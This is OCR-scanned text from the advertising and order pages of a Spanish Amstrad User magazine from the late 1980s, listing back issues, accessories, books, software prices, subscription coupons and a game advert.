C. D. Mahler 

1.725 ptas. 

426 

C. D. Orff 

1.725 ptas. 

427 

C. D. James Last 

1.725 ptas. 

428 

C. D. Bert Krempfert 

1.725 ptas. 


OFERTA ESPECIAL 

1 Unidad 

1.725 ptas. 

2 Unidades 

3.200 ptas. 

3 Unidades 

4.500 ptas. 
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CAMP ETAS 


% i 


A la piscina, 
en la playa o 
con tu ordena- 
jor # y con u ca- 
misetn. 






M-: Referenda 410. 

> " v. m 

^ >; ■«. J-.l 


Una camiseta 
comoda con un 
diseno exclusi¬ 
ve y a un pre- 
cio... Todos los 


Amstradictos 


con su camise¬ 
ta Amstrad 


PVP; 690 ptas. 


■ alias: 

SC.: Referenda 408. 


G.: Referenda 409. 


' -v:. ' V v 











•©HI 





Completa tu coleccion de Amstrad User 
con esta magnifica oferta: 


Y ahora, por 1 

Ref. 201-A 


N. 4 1 OCTUBRE 1985. 300 pis. 
Joan Guillen: «Mi lapiz es un 
Amslrad . La revotucion del dis¬ 
co Un ordenador muy musical. 
i.Hay vida despues de! Basic -7 


N. 4 l NOVIEMBRE 1385. 3C0 pa. 
Los heroes anonimos ;i). El CPc 
6128 Super Amssrad. Aula inlor- 
matica con Amstrad Prcgrama 
Mirando alas estrellas.Pasca. 


N. 4 3. DICIEMBRE 1985. 300 pts. 
Guia de Software para Amslrad, 
300 programas. Como jsar las 
rul nas de la Rom, PCW 8256 la 
allernai'iva profesional Alan Bu¬ 
ga' la fue r za de Amstrad. Casti- 
loymapa del Knight Lore 


N. 4 4. ENERO 1986. 3G0 pts 
Tooos los pen'ericos'. Joysticks 
impresoras. lapiz cptico. Joegos- 
Karate, Sorcery, Panorama para 
malar. Fid 1 eras deacceso direc- 
lo. Firmware. 


N, 4 5. FEBRERO 1986. 300 pis. 
CPM. el eslandar de 8 tits. Am- 
graph graiicas proiesionales. 
Juegos Devil s Crown. Raid, 
Cyrus. FirmarerGeslorde sorwto. 
RSX Comandos en lecmcolor. 


.600 ptas: 


N. 4 8. MAYO 1986. 300 pts 

Use proles onal de los Amstrad 
RS 232. Lin estardar para comu- 
ricar Juegos: Sir Fred. Hacker 
Spy vsSpy.Yie arKungFu 
Nuevos peri'ericos OK irorics. 


te ft ; 1 * 31 
con Itj 

— - 



N. 0 9. JUNIO 1986. 300 pis 
Lenguaie de programac.jn. Jue¬ 
gos: Mat II. Viernes '3 Insiruc- 
aones iiegales dee 280 Raicnes 
, tabletas, Master Rent 



N. 4 15. DICIEMBRE 1986.350 pis. 
SIMO Especial PC 1512 1 pre- 
semacrcn, Sisiemas Operatives, 
GEM. BASIC. Tensions, Paci! c. 
ContabilKiades: Contabil dad Ge¬ 
neral II y Piacon. Impresora 
AMSTRAD DMP 2 000. 



N, 4 10. JULIO 1986. 300 pts 
Veinte programas deporhvos. 
Animacion en Basic. Compara- 
cion de t r es iapices opticos. Jue¬ 
gos: Finder Keepers. Grafton y 
Xunk, Formula one simulator. 
Prolesionat user: Control de 
stocks Grotur. 



N. 4 16. ENERO 1987. 350 pts 

Piamque el Nuevo Ano: Speed 
King, Pacific. Glider Rider, Pro¬ 
gramas educativos. Emulacion 
del BASIC 1,1 en un 464. Ges- 
son de vioeo clubs. Facturacidn 
Leo. Bateria musical AMDRUM. 
Comrerlido' de panlallas Spec¬ 
trum a AMSTRAD. 



A liras con el ordenador. Banco 
de pruebas SEIKOSHA SP-1000 
CPC. Bomb Jack Harrier Atack 
Batman. Prolesional User. 



N. 4 17. FEBRER0 1987.350 pts 
impresoras AMSTRAD DMP 
30My DMP 4000 Juegos para 
PCW £1 enigma de ACE PS 
Juegos. Cosa Nosira Livmgsio 
ne, Jack the Nippe' Frostbyie. 
Army Moves. BASIC 2 el BASIC 
de PC. Caracteres de control en 
los CPC. Multilace II. 



N 0 12 SEPTIEMBRE 1986.350 pts. 
Programas educates. Banco de 
pruebas. Robot Fischeriecnmk 
Turbo Sprit. Winter Games. GSX 
(v II). 3ase de dales DELTA 
PLUS. Master Qri Super mapa 
pa'a BATMAN. 



N. 4 18. MARZO 1987. 350 pts. 
Juegos Toad Runner, Kane, 
Street Few k Miami Wee, Fto- 
digy, Tennis 3D, Knight Tyme, 
Zombi Caracteres Castellanos 
para Amsvrcrd La verdades cel 
PC 1512. Codigos de control 
CP/M Plus. Especial pneesado- 
res de texto. 



N. 4 13, OCTUBRE 1986. 350 pts. 
Especial Juegos de Guerra. Ani¬ 
macion en BASIC II. Hoja de 
Calculo CRACKER II Procesa- 
dor de texto Taswora 128. MullF- 
p'ogramacion Programs Tdx'tos 



N. 4 19, ABRIL 1987.350 pts 
Enciciopedia DJogic. Disco RAM. 
para CPC 6128 iiegos. tnpos- 
saball. Billy. Greal Escape. Des¬ 
pues de comprar un PC. Juegos 
para PC 1512 inpresbn de gra- 
licos en el PCW. Interlace RS 
232 y Cenlronis para PCW. Sico- 
le: gesi.jn oe guarder'as. Espe¬ 
cial tiojas de calculo. 



Deserl Fox Sartess S'ee Cerberus. 
Gliosis 8 Gobi ns. Ccmplememos 
ergonomicos para ordenaoor 
Convertidores da Tabs bn. PC 
1512, Geslion GESPACK. Con¬ 
trol de personal Avial, Como 
convert! su PCW 8256 en 8512. 

Busca el 
ejemplar de 
Amstrad 
User 

quetefalta 
y pidelo. 


NOTA: los ejemplares 1, 3, 6, 7 y 10 estan agotados. 




| 


I 



Si todavia no eres suscriptor, suscribete ahora mismo para continuar tu coleccion 

COMPLETE EL CUPON DE PEDIDO YENVIENOSLO 
























































































N.“ 20. MAYO 1987. Bases 
de datos, Sistemas Operati- 
vos (y 2), PCW: Juegos de 
simulacidn; Pies y Cabece- 
ras en Locoscript: Joystick, 
PC: manejarse con un dis¬ 
co; Juegos; Pistop li, Cyrus 
Chess, Ldpiz dptico Electric 
Studio. CPC; pantallas de 
LOGO a BASIC. Misidn 
Omega, Cortocircuito. 


H.“ 21. JUNIO 1987. Grdfi- 
cos para tu orderrador. Cur¬ 
ses de verano. CPC: Usua- 
rio: Escuela Magoria, Tas- 
print. Utilidades de disco; 
PC: Formate de discos, 
Contabilidad Cristal. Factu- 
racidn y almacdn, La isla 
del tesoro. Perry Mason, 
PCW: Locoscript, The Kni¬ 
fe. 


N." 22. JULIO 1987. Jue¬ 
gos para el verano. CPC: 
Sailing, Golpe en la peque- 
fta China, etcetera. Utilida¬ 
des (y 2); PC: Strip Poker, 
DEBUG, Open Access, Alsi 
Pack, Ampliacidn de me- 
moria a 640 K; PCW: Bat¬ 
man, Fairlight, Agenda 
Plus, Facturacidn Plus, 
Guia de discos. 


N.« 23. AGOSTO 1987. El 
nuevo PC 1640. CPC: Co- 
mecocos y Bingo, Juegos 
para teclear, Fernando Mar¬ 
tin Basket Master, Profesio- 
nal Microgesa, Anta 64 K3; 
PC: Macros de teclado (te¬ 
clear) BASIC 2, Bolsa y PC 
Promise, The great Escape; 
PCW: Othello (teclear), 
Head Over Heals, Extensio- 
rdficas con el PCW. 


N.» 24. SEPTIEMBRE 1987. 
El nuevo PCW 9512, Espe¬ 
cial Educacidn; CPC: Wlllov 
Pattern, Howard the duck, 
Spooler de impresora, 
LOTO, Multicalc; PC: Logis- 
tix. Boriar, Control de Al- 
macdn, Juegos; Progolf, 
Interlace RS232; PCW: Oue 
suene tu PCW, PREYME, 



N." 25. OCTUBRE 1987. 
Edicidn, MODEMS; CPC: 
Game Over, Bomb Jack, 
Two on two. La vuelta al 
mundo en ochenta juegos, 
Bases de Dates: PC. Inte¬ 
grated 7, Gestiava, Medica¬ 
re, Programacldn de la 
DMP 3000, Primeros pasos 
con Amstrad, Juegos: El 
enigma de ACEPS. 


AMSTRAD,’, 

iQu t es una RED LOCAL? 


N.“ 26. NOVIEMBRE 1987. 
UTILIDADES; CPC: Reloca- 
lizador de Codigo Mdquina, 
Decision Maker, Juegos: 
Don Quijote; PC: GEOS, Au¬ 
to-sketch, GEM Word 
Chart, Control de Autoes- 
cuela, Anatomia del ratdn, 
Futbol Manager; PCW: ACE, 
hchsro Mddico, Factura¬ 
cidn SIS. 


N.“ 27. DICIFMBRE 1987 

425 pts. CPC: Comentamos 
los diez mejores juegas. 
Test VORTEX. PC Business 
Card 21. Control ClimcaVe- 
terinaria. Portdtil PPC. 
PCW: El hardware del 9512. 
Programa Recibos. 


N.o 28. ENERO 1988. 

425 pts. PC: Framework 
Junior, Videoclub. Test 
EGA. Juegos GOODBYE & 
THE LAST MISSION. CPC: 
Test Cad-Cam y Joystick 
Speed King. Juegos: Fred¬ 
die Hardest, Starfox. etc. 
PCW. Test TPV. Software 
del 9512. Profesional Au- 
toescuela. 



K. a 29. FEBERRO 1988 

425 ptas PC' DBASE III AL 
SICAD. PREYME PORTEX 
Juegos: Mean 18 Golf, Boui 
der Dash, Mission. CPC: Tdc 
nicas Fractales. Juegos: Phan 
tis, Challenge of the Gobots 
Amaurote Test: Interface 
fis 232-c. PCW: Genera dor * 
Test. Profesional: Factura¬ 
cidn + IVA. Test: MATER 
PACK 


w 1 A 

tSPECIAI. 

pitoAMAS 


N. 30. MARZO 1988. 

425 PTAS. PC: VP PLANER, 
TMAX. PRODESIGN. Juegos: 
Arkanoid, Macadam Bumper, 
Pub Pool. CPC: DISCOLOGY 2, 
Quirkeias. Juegas: Abadia del 
Crimen, Ninja Hamster. Super 
Sprint Correcaminos, Combat 
School. PCW: FACTURACION, 
Trucos. Juegos: Slrke Force 
Harrier Classic Collection. 



N.° 31 ABRIL 1988. 425 ptas 
c Que es una Red Local?iGuia 
de impresoras baratas. PC/Su¬ 
perbase, Millonarios, Gen Pra- 
miz Test: Amslrad LQ 3500, 
CPC/Geslor Icortos. TxT: Vigi- 
la lu peso. PCW'Entradas y s6 
lidas CPM TxT. jLos barcos 1 
Juegos: Tan Letti, Synike For¬ 
ce M wrier 


N." 32 MAYO 1988 425 

pts. PPC Organizer. Simu- 
lacion en la Industrie. PC: 
Mailing, TurboBackup, 
GOLF, War Games. GPC: 
Gestor Iconos. TxT- El 
Ahorcado. Megacorp. Con¬ 
voy Raider. Phantom Club, 
etc. PCW: Si, ipero cudl? 
TxT: Txiki. El potente OIR. 


N." 33. JUNIO 1988, 425 

pts. Declaration Renta. 
PCW Minioffice. Desktop 
Publisher. Classic Collec¬ 
tion y Clock Chess. CPC: 
Volcado pantaila. TxT: Sf- 
mulador Osciloscopio. Pan- 
tera Rosa, Jackpol, Dyzzy. 
etc. PC: j6 colores en el 
PC1512! Modem Addonics. 
Test: SNAP. La Abadia del 
Crimen. Test Drive, etc. 


N.“ 34. JULIO 1988. Espe¬ 
cial Juegos. Los mq ores y 
mas atractivos. Codigo Md- 
quina para tu PCW. Desen- 
samblador Z 80 para CPC. 
Test: Wordvisa, Inlordent y 
Tas plus para PC. 



N. 5 35 AGOSTO 1988. Es¬ 
pecial Programas CPC' 
Bombarderos NBA. Conec- 
?a 4, Database, Primeros 
Numeros. PCW: Experto 
Mddico. Master Grafico, 
Tic-Tac PC: Torres de Ha¬ 
noi, Los Boios, Cada oveja 
con su pareja. 


NO TE PIERDAS Nl UN EXEMPLAR DE TU REVISTA 























































































PORTADOCUMENTOS 



El periferico imprescindible para to- 
dos aquellos que tengan que copiar 
documentos, apuntes, etcetera. 

Ergonomico, de facil colocacion, 
muy sencillo. 

Tenemos portadocumentos de iz- 
quierda y de derecha, no discrimina- 
mos a los zurdos. 

PVP: 595 ptas. Bef 150 



5 diskettes por solo 


2.550 ptas. 


10 diskettes 4*850 ptas . 

(Regalamos la diskettera, magnifico 
estuche portadiscos para que tengas 
ordenados tus diskettes). 






Ref. 185, 

50 unidades. Precio: 2.755 
Ref. 186. 


i 



Diserio italiano. Capacidad: 40 
diskettes 5 1/4. Se puede colgarer 
la pared o dejar en el suelo. 
Comodo y a un buen precio. PVP 
4.290 ptas. Ref. 411. 





SI QUIERES EL ARCHIVADOR SOLO: 
595 PTAS. Ref. 140 


ALMOHADILLA PARA RATON 

Precio: 1.999. Ref. 187. 























CABLE AUDIO 
CPC 6128. 
Predo: 995. 
Ref. 190. 



CABLE 

PROLONGADOR 
AMSTRAD CPC 
6128-664. Predo: 
3.275. Ref. 196. 


KIT UMPIEZA CABE- 
ZALES DISCOS 5 1/4. 
Predo: 5.999. Ref. 
195. 


Ahora: 4.950 ptas. 






CABLE IMPRESORA PC. 
Predo: 2.500. Ref. 194. 


KIT UMPIEZA 
CABEZALES 
DISCOS. 3" 
Predo 

Ahora: 3.100 
ptas. Ref. 122 


PACK LIMPIACASETES 

Pack limpiacasetes 
CPC 464, para que tu 
ordenador lea y cargue 
sin problemas. Precio: 
745 ptas. Ref. 412. 


CINTA IMPRESORA PCW 9512 
Precio: 1.550 
Ref. 197. 


LOS DOS VOLUMENES POR: 

3.200 ptas. 


Ref. Ill 

















UBPOS-UBROS-UBROS 


Fundamental para 
el usuario 
principiante. 
Ameno y repleto- 
de ejemplos. 


Tecnicasde 
Programacion 
deGraficos 
enel Amstrad 


Tecnicas de 
programacion de 
graficos. 

Ref. 110. 


PROGRAMACION BASIC 
CON AMSTRAD 
Imprescindible para el 
principiante y eficaz 
herramienta para el 
programador 
avanzado. 


JUEGOS 

SENSACIONALES PARA 
AMSTRAD 

Aventuras, laberintos, 
ajedrez, cartas, 
Mastermind, 
educativos, utilidades. 
Todos las listados 
en BASIC. 


40 JUEGOS 
EDUCATIVOS 
Listados completos 
(Matemab'cas, 
geografia, musica, 
etcetera) para 
aprender 
divirtiendose. 


Ref. 101. Programando con Amstrad. 103; 
40 Juegos educativos. 109: Programando 
Basic con Amstrad. 113: Juegos 
sensacionales con el Amstrad. 


PVP: 595 ptas. 


Manual de BASIC 2, para 
el PC 1512 y PC 1640 

PVP: 1.990 ptas. Ret.: m 




PVP: 780 ptas. 

Ref. 200 1 


_AMSTRAD USER 

El complemento ideal para tu revista. 


NamatJe 


PVP: 975 ptas . 

Ref. 115 


GUIA DE 

LocoScdpt 

PASO A PASO 



PAR A AMSTR \D PCM 825A XS12 
























O o 




PROGRAMAS PARA PCW 



M.S. COBOL COMPILER. Precio: 25.680. Ref. 177. 
M.S. SORT. Precio: 9.999. Ref. 178. 

M.S. MACRO. Precio: 9.999. Ref. 170. 


Lo mejor del software de programacidn en PCW 
CBASIC COMPILER. Precio: 9.999 Ref. 173. 

MBASIC INTERPRETER. Precio' 9.999. Ref. 174. 
MBASIC COMPILER. Precio: 9 999 Ref. 17S. 

M.S. FORTRAN COMPILER Precio: 14.680. Ref. 176 


Hojas de calculo: 

Multiplan. PVP: 9.490 ptas. Ref. 135. 





F.A.S.T. (facturacidn y control de Stoc) 
PCW 8256 


C.O.N.F.A.S (Plan General. Plan Nacio- 
nal Contable). PCW 8512 


Precio: 18.000 


Ref. 430 


Ref. 429 


Precio: 22.000 
































N 

I 
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DICCIONARIO: IMGIES-ESPANOL 


MKRODIC 




PVP: 6.500 


Ref. 418 


HOJAS DE GALCULO 


SUPER CALC-3 

««»>■ 


UTILIDADES 


TURBO BACK-UP 


turbo 
back UP ■"« 

«®j§£ r 


PAQUETES 

INTEGRAPQS 

—-!- w mm -■-- 

OPEN ACCESS 

X 


BASES DE DATOS 


SSX&5 


PVP: 13.495 ptas. Ref. 
102 . 


SUPERBASE 


±5 /) JdS 




ct ££uii‘ o ' 0e 

^csogYiE 


PVP: 12.000 ptas. Ref. 117 


\TClS> 

-.tr iP 1 ' 

tsassnt 



PVP: 17.900 ptas. Ref. 
183. 


PVP: 13.995 ptas. Ref. 
104. 


CONTAilllDAD 


APUCACIONES 


TRATAMIENTO Di fEXTOS 


PLACOM 


Contabilidad+IVA Logic 
Control 


AUTOSKETCH 


) 


V V.£G 





1 


PVP: 19.900 ptas. Ref. 
106. 


PVP: 26,800 ptas. Ref. 
155. 


S 

ILL 

AUTOS,KETOi 

' r 1 


PVP: 13.495 ptas. 
Ref. 133. 


Nfc Q 


XY WRITE 


WORDVISA 



EOfTOR Y PftOCESADOR DE TEXTOS 

(yE> 

PVP: 11.990 ptas. Ref. 414. 



PVP: 14.495 ptas. 
Raf. 116 



CALCULOS CIENTIFICOS 
(CPC 6128) 

PVP: 3.000. Ref. 431. 
PCW- Ref. 4311 


CIRCUITOS 
EI.CTRONICOS 
(CPC 6126) 

PVP: 3.000. Ref. 432. 



ATLAS DEL CIELO 

(CPC-6128) 

PVP: 3.000. Ref.433 
PCW: Ref. 4333. 



TUTOR MECANOGRAFICO 
(CPC 6128 y PCW 8256) 
PVP: 3.000. Ref. 434. 

PCW: Ref. 4344. 













































THE MAGNIFICENT SEVEN 10 HIT GAMES de OCEAN 

DE OCEAN Precio : 2.790 ptas. Ref. 416 

Precio: 2.790 ptas. Ref.417 


PCW 



JAMES BOND 007 
THE LIVING DAYLIGHTS 
■precio: 3.490 ptas. 

Ref. 128. Cupon 3. 



3D CLOCK CHESS 


Precio: 2.590 ptas. 
Ref. 134. 



TOMAHAWK 
Precio: 3.899 
Ref. 199. Cupdn 3. 































•©hs/ * jsomrtoms* 




PORTACUARTILLAS 
AMSTRAD USER 
Precio: 890. 
Ref.: 164. 


PORTAFOLIOS BILLETERO AMSTRAD 
AMSTRAD USER USER 

Precio: 950. Precio: 790. 

Ref.: 163. Ref.: 165. 


MONEDERO 
POLIPIEL. 
Precio: 499. 
Ref. 171. 


SUPER PACK 
ELITE. Precio: 
1.755. Ref. 166. 



MONEDERO. 
Precio: 2.484. 
Ref. 170. 


mjJDOo' 


BILLETERO. 

Precio: 2.199. 
Ref. 168. 


PORTAFOLIOS. 
Precio: 5.569. Ref. 167. 

















iAQUI! 

NO ENTRA EL POLVO 


PCW 9512 (tres piezas) 
PVP: 2.395 ptas. 

Ref. 404 


DMP 3000. PVP: 989 ptas. 
Ref. 405 

DMP 4000. PVP: 1.090 ptas. 
Ref. 406 




PC 

PVP: 2.395 ptas. 
Ref. 146 



PCW (Tres piezas) 
PVP: 2.285 ptas. 
Ref. 145 




FUNDAS PARAT0D0S LOS ORDENADORES AMSTRAD 


con la calidad y el diseno Amstrad User. 

Magmficas fundas que libran ai ordenador del polvo y suciedad cuando no se tiene encendido. 
Indispensable para lugares humedos y polvorientos. 


tmmim a @jjp®n y mmm mw 






















AMPLIA LAS POSIBILIDADES 
DE TU AMSTRAD 


iCONVIERTE TU PCW 8256 EN UN Ref. 401 
512! 2.' UNIDAD DISCOS PCW 

Nlievo pre<io: 23.700 (no induye ampliation de 

ntemoria). Si lo desea consultenos. 


SINTETIZADOR 
DE VOZ EN 
CASTELLANO 
Preeio: 8.895 
Ref. 405. 


Ref.: 400. 

1.450 

ptas. 

iiNUEVO... JOYSTICK II ERGONQMICO 
3i IDEALOGIC PARA PODER MANEJAR 
TUS JUEGOS CON UNA SOLA MANO!! 


AMPLIACION 
DE MEMORIA ANTA 64 K 
Precio: 10.950 
Ref.: 162. 


ORDENADORES CPC 


INTERFACE SERIE AMSTRAD RS 232 C 


Permite conectar tu ordenador con 
impresoras serie, modems, otros 
ordenadores, etcetera. 

Facilmente manejable mediante comandos 
BASIC extendidos. 

Uso sencillo e inmediato desde CPM 2.2 y 
CPM Plus. 

Amplio margen de velocidades de 
transmision. 

No impide conectar a la vez la unidad de 
disco en el CPC 464. 

Ah ora 7.495 ptas. 

Ref.: 125 
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PE0ID0 


(*) Dirigir los cheques a 
Amstrad Espana. 
Aravaca, 22. 
28040 Madrid 


Si prefieres 
hacer fi pedido 
por teiefono, llama al 
(91) 459 30 01 (20 Hneas) 
SERVICIO 



TARJiTA M 
SUSCRIPCION 


Todos los precios 
incluyen IVA y 
gastos de envio. 


N.° Factura 

NOMBRE_ 

DIRECCION . 
LOCALIDAD. 
PROVINCIA— 


D.N.I. 


CIF: A28/736403 


C.P.. 


. TELEF.. 


Ruego me envien ias siguientes ofertas especiales AMSTRAD USER: 
REF. DENOMINACION ORDENADOR CANT. 


D 

< 


PRECIO 


TOTAL 

Firma 

El importe lo abonare 

□ POR CHEQUE A NOMBRE DE AMSTRAD ESPANA 
D CONTRA REEMBOLSO 

□ CON Ml TAR JETA VISA N.° ~T ~| TT 1 TIM fTT 

N.° suscriptor: . - 

Fecha da caducidad: --- «INCLUIDO IVA Y GASTOS DE ENVIO»> 


N.° Factura 

NOMBRE_ 

DIRECCION . 
LOCALIDAD. 
PROVINCIA_ 


D.N.I. 


CIF: A28/736403 


.C.P.. 


. TELEF. 


Ruego me envien las siguientes ofertas especiales AMSTRAD USER: 

REF. DENOMINACION ORDENADOR CANT. PRECIO 


TOTAL 


Firma 


El importe lo abonare 

□ POR CHEQUE A NOMBRE DE AMSTRAD ESPANA 

□ CONTRA REEMBOLSO 

□ CON Ml TARJETA VISA N. a 


N." suscriptor: . 

Fecha de caducidad: 


«INCLUIDO IVA Y GASTOS DE ENVIO» 


□ CONSIDEREME SUSCRIPTOR DE LA REVISTA 
AMSTRAD USER por 12 numeros. 

NOMBRf 


OOMICILIO 


COOIGO postal 




XT 


LOCALIOAO 


PROVINCIA 


n 


D N I 


EDAD 

□U 


TELEF ONO 


N.° Factura:. 

CIF: A78/487675 

ELIJE TU REGALO 


□ Calculadora 

□ Llavero reloj-brujula 

□ Billetero 

□ Portafolio Amstrad User 
D Afeitadora portatil 

□ Reloj 


TT 


FORMA DE PAGO 

□ CONTRA REEMBOLSO 

□ TALON DE BANCO (1! 

□ TARJETA DE CREDITO 


PRECIO SUSCRIPCION: 
4.500 PTAS. * IVA incl. 


* Precio normal en quioscos: 
5.100 plas. anuales 


Carguen 4.500 ptas. a mi tarjeta: VISA □ 

Num de mi larieta [ I E I_i— I 1 I I I 1 E i I E E 

Fecha de caducidad__ 

□ Nueva suscripcion. □ Renovacidn. 

Enviar Cheques: Amstrad Espana. Aravaca, 22. 28040 Madrid. 

Por favor, especifique su modelo de ordenador, es muy importante. 


ORDENADOR f i I I I I T1 1 * 

Firma 


(1) Dirigir a Edimicro, S. A. 


3 

< 


























































































































































































RESPUESTA COMERCIAL 
Autorizacion N.' 1 7000 


B.O.C. N.° 10 de JO-8-85 


NO 

NECESITA 

SELLO 

A franquear 
en destine 



J Apartado de Correos 267 F.D. 
28080 MADRID 


RESPUESTA COMERCIAL 
Autorizacion N,° 7000 
8.0 C. N.° 10 de 30-8-85 


NO 

NECESITA 

SELLO 

A franquear 
en destine 



! [J Apartado de Correos 267 F.D. 
U I 28080 MADRID 


RESPUESTA COMERUIAl 
Autorizacion N 0 7000 
8.0 C N 0 10 de 30-8-85 


NO 

NECESITA 
SELLO 
A franquear' 
en destino 



Apartado de Correos 267 F.D. 
, 28080 MADRID 



SUCUP0N 
















































LA GA MA MAS COMPACTA PARA MICROORDENADORES 


MESA TERMINAL 








\j 

□ 


P 



orque con un solo cable y una sola mesa, que ocupa el mini- 
mo espacio, caben todos los eiementos de su microordenador o terminal. 
MICROCAYMA es el umco cvmpacto multiple de trabajo para cualquier mo- 
deto de microordenador Disehado para resolver, de una vez, todos los pro- 
btemas de espacio. Un compacto luerte, luncional, de concepcidn ergo- 
ndmica, que ha sido creaJo por un amplio equipo de espeashstas, para 
que Vd. teriga el conjunto de su microordenador, en un solo puesto de tra 
oa/o, y en la forma mis cdmoda para el operador. 


Visitenos en PC Forum de 
Barcelona del 19-21 de 
octubre. Stand 13-15, 
nivel «K». 

«Les esperamos.» 


MESA IMPRESORA 




COMPACTO PARA AMSTRAD 


COMPACTO HORIZONTAL 


FABRICADO Y PATENTADO POR INSTALACIONES (WMA S, A. 
Cartagena 70 y 80 - Yelbt. 255 32 09 / 256 35 62 - 28028 MADRID 


PREMIO tBRITANIAt 
_ ALA CALIUAO Y ALA 
GESTION EMPHESARIAL 


DE VENTA EN ESTABLECIMIENTOS DE INFORMATICA Y MUEBLES DE OFICINA EN TCOA ESPANA 


Si desea mbs mformacion sobre los compactos de Ml- 
CROGAYMA rellene este cupbn y envielo a: MICROGAYMA. 
Calle Cartagena, 70 y 80 . 28028 MADRID. 


<3 


GALARDONADO COMO PRODUCTO 
POPULAR Y FAMOSO POR LA 
ASOCIACION DE PREHSA 
DE MADRID 


<& ME CALL A DE ORO A LA EMPRESA 


TROFEO MASTER 
~ INTERNACIONAL DE 
EMPRESAS 


Nombre 
[impress 
Direccibn 
Locahdad 
< (CP) 


MEDALI A DE INVESTIGACION Y 
TECNOLOGIA EN SU CATEGORIA ORO. 
APROBADO PUR LA COMISION 
m INTERMINISTERIAL DE CltNCIA 
Y TECNOLOGIA 


Teletono 
























<EADA XTC71A XXIHA 

si mxT'in xx 

kickjzo, iibo tint 

SOX BIOBO 
KLX1PSABA IX 
iBoximo 
ixuiiximio. 

AIBOVICHA 
XA OIOft'AmiXAI). 


CLAVE P.W.D 


IDENTIFICACION 
• MUTAN ZONE. 


FECHA CREACION 

• 22-9-2122 


mision 1 ^ *r; 

• RESCATE EQUIPO CIENTIFiCO. 

• ELIMINAR... 


ARMAMENTO 

• PISTOLA DE NEUTRINOS. 

• MAZA DE FUSION. 

• AEROMOTO CON ARMAMENTO 
COMPLETO. 


1 



l-l u 



ggygpl 

MPFy-;. 


1K5SS! 
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VERSIONES: AMSTRAD, MSX, SPECTRUM y COMPATIBLES PC 


bust&vu Balbuena, 










































